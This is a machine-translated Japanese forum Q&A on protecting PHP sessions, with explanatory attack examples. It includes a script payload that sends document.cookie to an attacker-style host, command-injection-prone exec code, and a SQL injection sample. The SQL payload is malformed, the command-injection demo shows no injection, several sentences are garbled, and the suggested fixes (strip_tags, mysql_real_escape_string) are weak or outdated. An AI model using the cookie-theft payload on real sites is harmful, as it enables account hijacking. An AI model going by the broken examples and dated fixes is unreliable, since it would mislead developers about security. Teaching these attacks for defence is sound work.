私は多くの記事を読んできましたが、owasp.org
最も覚えていてよく理解できなかったものの 1 つは、PHP セッションを保護することです。
セッションを保護する方法がよくわからなかったので、ここで質問しています。PHPでセッションを保護する最良の方法は何ですか?
副次的な質問: ファイル入力は XSS に対して脆弱ですか?
これは、PHP セッション ハイジャックのソースです: OWASP.org: PHP Security Cheat Sheet
PHPでセッションを保護する最良の方法は何ですか?
セキュリティは、買い物に行く牛乳のボトルのようなものではありません。カスタマー レビューを読めば、最高の牛乳が何かがわかりますが、セキュリティの場合は少し異なります。
カスタマー レビューは、Owasp が概説するものです。これは、セッション処理を保護するための一般的なダイナミクスと意味を示しています。
PHP セッションは、PHP 自体が提供するある種の基本的な機能にすぎないため、これらのセッションを保護するための最善の方法を説明することはあまりありません。これは、その機能の使用方法に大きく依存するためです。
ただし、PHP セッションを使用する最善の方法の 1 つの明確な部分は、PHP 自体のセキュリティ レポートとレビュー、および特定のセッション機能に注意を払うことです。次に、セッションを保護するための最良の方法を提供する PHP のバージョンを最新の状態に保つように注意してください。これは、最新の安定したバージョンである可能性があります。欠陥が報告された場合、次のバージョンで完全に修正されないことがありますので、注意してください。
特に PHP に関連しないものはすべて未定義であり、Owasp はここでサブセットのみを提供できます。
そのため、セキュリティのために、Owasp のドキュメントで概説されている内容を理解してから、これを (自分の) PHP コードに適用することが絶対に重要です。たとえば、ここで質問することで、私見に与えられる最善の指示は、Owasp ドキュメントで何が起こっているのか、何を意味しているのかを理解するのが難しくなることです。
物事がどのように機能するかを理解することは、セキュリティの鍵です。
留意すべき主要な問題のいくつかを次に示します。
ユーザーがフォルダーの内容を表示できる Web ページがあるとします (たとえば、ホスティング会社がサーバー上のファイルをユーザーに表示するなど)。
これを実現する可能性のあるコードを次に示します。
$directory = $_GET['directory'];
exec("ls $directory", $result);
攻撃者は、次のような他のコマンドを URL 文字列に渡すことで、これを悪用できます。
ls -LR
各セッションには一意の ID があり、攻撃者がその ID を取得すると、(潜在的に) それを使用して機密情報を取得できます。
これを防ぐには、機密性の高い操作を行う前に、ユーザーに (パスワードを使用して) 再認証してもらいます (たとえば、ユーザーがパスワードをリセットしたい場合は、最初に古いパスワードを入力するように強制します)。
ユーザーが生成したコンテンツ (ブログのコメントがその良い例です) を含むサイトがある場合、攻撃者がコンテンツ (コメントを読む) に javaScript を挿入するという潜在的な脅威があり、それによってすべてのユーザーに害を及ぼす可能性があります。ページに来てください。
次に例を示します。
<script>
document.location = 'http://www.hackingYou.com/stealYourData.php?' + document.cookie;
</script>
このコードにより、攻撃者の Web サイト (hackingYou.com) は、現在アクセスしている Web サイト用に保持している Cookie を盗むことができます。
これを防ぐ方法の 1 つは、次のコマンドを使用して、入力された文字列から HTML を削除することです。
strip_tags($input);
(これがなければまともな答えにはなりません)
ユーザーをサイトにログインさせる Web ページがあるとします。それらを正常にログインさせるには、DB でそれらのレコードをチェックします。
コーディング方法は次のとおりです。
$sql = "SELECT * FROM users WHERE username = $_GET['username'] and password = $_GET['password']";
攻撃者は、パスワード フィールドに次のように入力することで、これを悪用できます。
abcd OR WHERE 1 = 1
結果の sql ステートメントは次のようになります。
SELECT * FROM users WHERE username = hacker AND password = abcd OR WHERE 1 = 1;
これにより、すべてのユーザー名とパスワードの完全なテーブルが攻撃者に吐き出されます。
これを防ぐには、次のコマンドを使用して SQL の入力文字列を「サニタイズ」します。
mysql_real_escape_string($input)
これはほとんどの基本事項であり、次のような最新のセキュリティ速報を読んで、常に最新の状態に保つ必要があります。
すべての環境に対するセキュリティを確保するための最良の方法は、PHP Webフレームワークを学習することです。これにより、すぐに使用できるセキュリティレベルの入力が得られます。
明らかに、セキュリティは存在しません、それはより良いセキュリティと最悪のセキュリティが存在します、私があなたに提案するのは車輪の再発明をしないことです、それでウェブフレームワークはコミュニティのバグ/ハックレポートによると毎日深く修正されています、そしてこれは私です考えてみてください、あなたが得ることができる最大のセキュリティレベルです!